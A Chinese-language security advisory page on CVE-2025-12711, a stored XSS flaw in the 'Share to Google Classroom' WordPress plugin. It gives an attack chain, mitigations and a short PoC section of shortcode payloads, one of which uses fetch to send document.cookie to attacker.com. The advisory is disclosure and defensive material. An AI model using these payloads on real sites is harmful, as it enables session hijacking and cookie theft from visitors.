IPBUF安全漏洞报告
English
CVE-2025-12711 CVSS 6.4 中危

CVE-2025-12711 WordPress Share to Google Classroom插件存储型XSS漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12711
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Share to Google Classroom plugin for WordPress

相关标签

存储型XSSWordPress插件CVE-2025-12711Cross-Site ScriptingShare to Google Classroom短代码漏洞WordPress安全

漏洞概述

CVE-2025-12711是WordPress平台上一款名为"Share to Google Classroom"插件存在的安全漏洞。该漏洞为存储型跨站脚本攻击(Stored XSS),存在于插件的share_to_google短代码功能中。漏洞的根本原因在于插件对用户提供的属性参数缺乏足够的输入清理(input sanitization)和输出转义(output escaping)处理。攻击者利用此漏洞可以注入任意Web脚本代码,这些恶意代码会被永久存储在网站的数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本将自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于该漏洞影响所有1.0及以下版本,且攻击门槛较低(仅需Contributor级别权限),对使用该插件的WordPress网站构成中等程度的安全威胁。

技术细节

该漏洞存在于Share to Google Classroom插件的share_to_google短代码处理逻辑中。插件在处理短代码属性时,未对用户输入进行适当的HTML实体转义或输入验证。攻击者可以通过构造包含恶意JavaScript代码的属性值(如onerror、onload等事件处理器)注入XSS payload。当这些未经过滤的数据被存储并在页面中输出时,浏览器会将其解析为可执行脚本。具体利用方式为:具有Contributor权限的认证用户可以在文章或页面中插入形如[share_to_google attr="javascript:alert(document.domain)"]的短代码,恶意脚本将被永久存储在数据库中。任何访问该页面的用户都会触发脚本执行。由于短代码属性直接参与HTML输出生成,且缺少任何过滤机制,攻击者可利用此漏洞窃取用户Cookie、劫持会话或进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站 Contributor 或更高权限的账户
STEP 2
步骤2
攻击者在文章或页面编辑界面中插入包含恶意JavaScript代码的share_to_google短代码
STEP 3
步骤3
由于插件缺乏输入过滤,恶意payload被存储到数据库中
STEP 4
步骤4
当其他用户访问包含该短代码的页面时,未转义的脚本代码被浏览器执行
STEP 5
步骤5
攻击者通过注入的脚本窃取用户Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2025-12711 --> <!-- WordPress Contributor+ user can inject via shortcode --> [share_to_google url="https://example.com" title="Test" onerror="alert(document.cookie)"] <!-- Alternative payload using data URI --> [share_to_google url="xss' onerror='alert(document.domain)" title="Malicious"] <!-- XSS via SVG element --> [share_to_google url="<svg/onload=alert(localStorage)>" title="XSS"] <!-- Real exploitation: Steal admin cookies --> [share_to_google url="" title="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"]

影响范围

Share to Google Classroom plugin <= 1.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用受影响的插件并寻找替代方案;2) 通过Web应用防火墙(WAF)规则阻止包含可疑短代码属性的请求;3) 限制Contributor角色的内容发布权限,改为仅允许Editor或Admin发布内容;4) 使用WordPress安全插件监控异常内容提交行为;5) 定期检查数据库中是否存在包含<script>标签或事件处理器属性的短代码内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表